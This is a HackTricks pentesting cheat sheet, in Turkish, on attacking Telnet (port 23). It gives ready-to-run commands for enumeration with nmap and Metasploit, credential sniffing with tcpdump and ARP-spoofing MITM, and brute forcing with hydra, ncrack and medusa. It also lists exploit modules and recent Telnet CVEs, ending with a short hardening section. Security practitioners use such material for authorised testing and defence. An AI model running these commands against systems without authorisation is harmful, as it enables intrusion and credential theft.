23 - Pentesting Telnet

Reading time: 6 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Temel Bilgiler

Telnet, kullanıcılara bir ağ üzerinden bir bilgisayara erişim sağlamak için güvensiz bir yol sunan bir ağ protokolüdür.

Varsayılan port: 23

23/tcp open  telnet

Enumeration

bash
nc -vn <IP> 23

Tüm ilginç numaralandırmalar nmap ile gerçekleştirilebilir:

bash
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

telnet-ntlm-info.nse betiği NTLM bilgilerini (Windows sürümleri) alacaktır.

telnet RFC'deki TELNET Protokolünde, kullanıcı ve sunucunun TELNET bağlantıları için daha karmaşık (veya belki sadece farklı) bir dizi kural kullanmayı kabul etmesine olanak tanıyan çeşitli "seçenekler" bulunmaktadır. Bu seçenekler karakter setini değiştirmek, yankı modunu ayarlamak vb. içerebilir.

Bu seçenekleri sıralamanın mümkün olduğunu biliyorum ama nasıl yapıldığını bilmiyorum, eğer biliyorsanız lütfen bana bildirin.

Brute force

Config file

bash
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Otomatik Komutlar

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Son Güvenlik Açıkları (2022-2025)

  • CVE-2024-45698 – D-Link Wi-Fi 6 yönlendiricileri (DIR-X4860): Yerleşik Telnet servisi, sabit kodlanmış kimlik bilgilerini kabul etti ve girişi temizlemede başarısız oldu, bu da kimlik doğrulaması yapılmamış uzaktan RCE'ye izin verdi. Firmware ≥ 1.04B05 ile düzeltildi.
  • CVE-2023-40478 – NETGEAR RAX30: Telnet CLI passwd komutundaki yığın tabanlı tampon taşması, komşu bir saldırganın kimlik doğrulamasını atlamasına ve kök olarak rastgele kod çalıştırmasına olanak tanır.
  • CVE-2022-39028 – GNU inetutils telnetd: İki baytlık bir dizilim (0xff 0xf7 / 0xff 0xf8), telnetd'yi çökerten bir NULL işaretçi dereferansı tetikler ve birkaç çökmeden sonra kalıcı bir DoS'a yol açar.

Bu CVE'leri güvenlik açığı triage'ı sırasında aklınızda bulundurun—hedef, yamanmamış bir firmware veya eski inetutils Telnet daemon'u çalıştırıyorsa, kod çalıştırma veya kesintili bir DoS için doğrudan bir yolunuz olabilir.

Kimlik Bilgilerini Dinleme & Adam Ortada

Telnet, kimlik bilgileri de dahil olmak üzere her şeyi düz metin olarak iletir. Onları yakalamanın iki hızlı yolu:

bash
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Aktif MITM için, ARP sahtekarlığını (örneğin arpspoof/ettercap) aynı sniffing filtreleriyle birleştirerek anahtarlamalı ağlarda şifreleri toplamak.

Otomatik Kaba Güç / Şifre Spreyi

bash
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Çoğu IoT botnet (Mirai varyantları) hala port 23'ü küçük varsayılan kimlik bilgisi sözlükleri ile tarıyor—bu mantığı yansıtmak zayıf cihazları hızlıca tanımlayabilir.

Sömürü ve Sonrası

Metasploit'in birkaç yararlı modülü vardır:

  • auxiliary/scanner/telnet/telnet_version – afiş ve seçenek sayımı.
  • auxiliary/scanner/telnet/brute_telnet – çoklu iş parçacıklı brute force.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – savunmasız Solaris 9/10 Telnet'e karşı RCE (ENCRYPT seçeneği işleme).
  • exploit/linux/mips/netgear_telnetenable – birçok NETGEAR yönlendiricisinde telnet hizmetini özel bir paketle etkinleştirir.

Bir shell elde edildikten sonra TTY'lerin genellikle aptal olduğunu unutmayın; python -c 'import pty;pty.spawn("/bin/bash")' ile yükseltin veya HackTricks TTY tricks kullanın.

Güçlendirme ve Tespit (Mavi takım köşesi)

  1. SSH'yi tercih edin ve Telnet hizmetini tamamen devre dışı bırakın.
  2. Telnet gerekiyorsa, yalnızca yönetim VLAN'larına bağlayın, ACL'leri zorlayın ve daemon'u TCP wrapper'ları ile sarın (/etc/hosts.allow).
  3. Eski telnetd uygulamalarını ssl-telnet veya telnetd-ssl ile değiştirin, ancak bu yalnızca veri iletimini korur—şifre tahmin etme basit kalır.
  4. Port 23'e giden çıkış trafiğini izleyin; ihlaller genellikle sıkı HTTP çıkış filtrelerini aşmak için Telnet üzerinden ters shell'ler oluşturur.

Referanslar

  • D-Link Danışmanlığı – CVE-2024-45698 Kritik Telnet RCE.
  • NVD – CVE-2022-39028 inetutils telnetd DoS.

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin